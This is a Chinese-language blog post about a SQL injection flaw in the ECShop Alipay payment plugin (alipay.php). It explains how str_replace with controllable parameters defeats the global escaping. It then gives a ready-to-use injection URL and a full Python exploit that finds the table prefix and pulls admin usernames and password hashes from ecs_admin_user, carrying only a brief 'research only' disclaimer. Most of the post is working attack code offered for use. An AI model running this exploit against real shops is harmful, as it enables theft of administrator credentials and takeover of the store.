Ecshop支付宝插件SQL注入及漏洞利用(exp)



0x00

\includes\modules\payment\alipay.php文件中,有一个response函数用来处理支付信息,在ECSHOPinit初始化文件中,默认是做了全局转义的,而这个漏洞的精髓在于绕过全局转义。


$order_sn = str_replace($_GET[‘subject‘], ‘‘, $_GET[‘out_trade_no‘]);  中,使用str_replace函数对$_GET[out_trade_no]中的内容进行替换,替换内容和原字符串都是可控的,所以我们就可以将$_GET[out_trade_no]中的反斜杠做替换,从而绕过单引号。

最终$order_sn变量被带入check_money()函数,跟进check_money():


这里看到,$order_sn被带入了数据库进行查询,造成了注入漏洞。

0x01

EXP

127.0.0.1/ecshop/upload/respond.php?code=alipay&subject=0&out_trade_no=%00‘ and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)%23

打印出SQL语句:

SELECT order_amount FROM `ecshop1`.`ecs_pay_log` WHERE log_id = ‘\\‘ and (select * from (select count(*),concat(floor(rand()*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)#‘

注意到,$log_id变量(也就是$order_sn)变成了\\ ,这是因为提交的out_trade_no经过转义变成了\0\ ,通过控制subject变量(0),带入函数str_replace中变成了:

str_replace(0,’’,\0\)

通过函数的替换,最终$order_sn就变成了\\从而绕过了单引号转义。

测试结果:


0x02

相应的Exp如下。在调试这个exp的时候出现了很多问题,比如Ecshop中使用报错注入很多次才能爆出结果,需要设置重试次数才行,另外,很多网站是改了Ecshop默认的表前缀的,在爆出admin信息之前必须要先把表前缀搞定,废话不多说,直接贴代码了(代码有一定的攻击性,仅供安全研究与交流,请勿用于非法用途)

#coding=utf-8
'''Powered By Exploit
Ecshop支付宝插件注入漏洞:
/includes/modules/payment/alipay.php
'''
import requests
import urllib
import sys
import re
class EcshopAlipayAttacker():

	'''
	获取标准url
	@param url 需要转化的url
	'''
	def get_standard_url(self,data,url):

		if url.count("http") != 0:
			if url[-1] == '/':  #http://www.xxoo.com/
				url = "%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
			else:   #http://www.xxoo.com
				url = "%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
		else: 
			if url[-1] ==  '/':  #www.xxoo.com/club/
				url = "http://%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
			else:   #www.xxoo.com/club
				url = "http://%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
		return url


	'''
	获取表前缀
	@param url 目标主机的url
	'''
	def get_table_pre(self,url):
		data = "respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema=database() limit 1))a from information_schema.tables group by a)b)%23"
		url = self.get_standard_url(data,url)
		retry_count = 5  #重试5次
		pattern = re.compile(r"Duplicate entry '[0,1]?(.+?)[0,1]?'")

		while retry_count:
			try:	
				r = requests.get(url)
				ret = pattern.findall(r.content)
			except Exception, e:
				print e
				continue
			if ret != []:
				if ret[0].count('ecs') != 0: 
					return 'ecs'
				else:
					return ret[0][0:ret[0].index('_')]  
			else:
				retry_count -= 1
				continue
		return None

	'''
	注入攻击代码
	@param url 目标主机的url
	@param count 爆数据的参数,default=0
	@param table_pre 数据库表前缀
	'''
	def respond_exploit(self,url,count=0,table_pre='ecs'):
	
		table_pre = self.get_table_pre(url)
		if table_pre is None:
			return None  
		data = "respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from {table_pre}_admin_user limit 1))a from information_schema.tables group by a)b)%23".format(table_pre=table_pre)
		url = self.get_standard_url(data,url)

		retry_count = 5  
		pattern = re.compile(r"Duplicate entry '[1,0]?(.+?)[1,0]?'")
		while retry_count:
			r = requests.get(url)
			ret = pattern.findall(r.content)
			if ret != []:
				break
			else:
				retry_count -= 1
				continue
		return ret


if __name__ == '__main__':
	attacker = EcshopAlipayAttacker()
	#---------------测试用(均有漏洞)-----------------
	url = <a target=_blank href="http://www.target.com">http://www.target.com</a>
	#--------------------------------------------------
	infos = attacker.respond_exploit(url)
	if infos is None:
		print 'This website may be not vulnerable'
	else:
		print 'Exploit Success!\ninfos:{infos}'.format(infos=infos)




郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。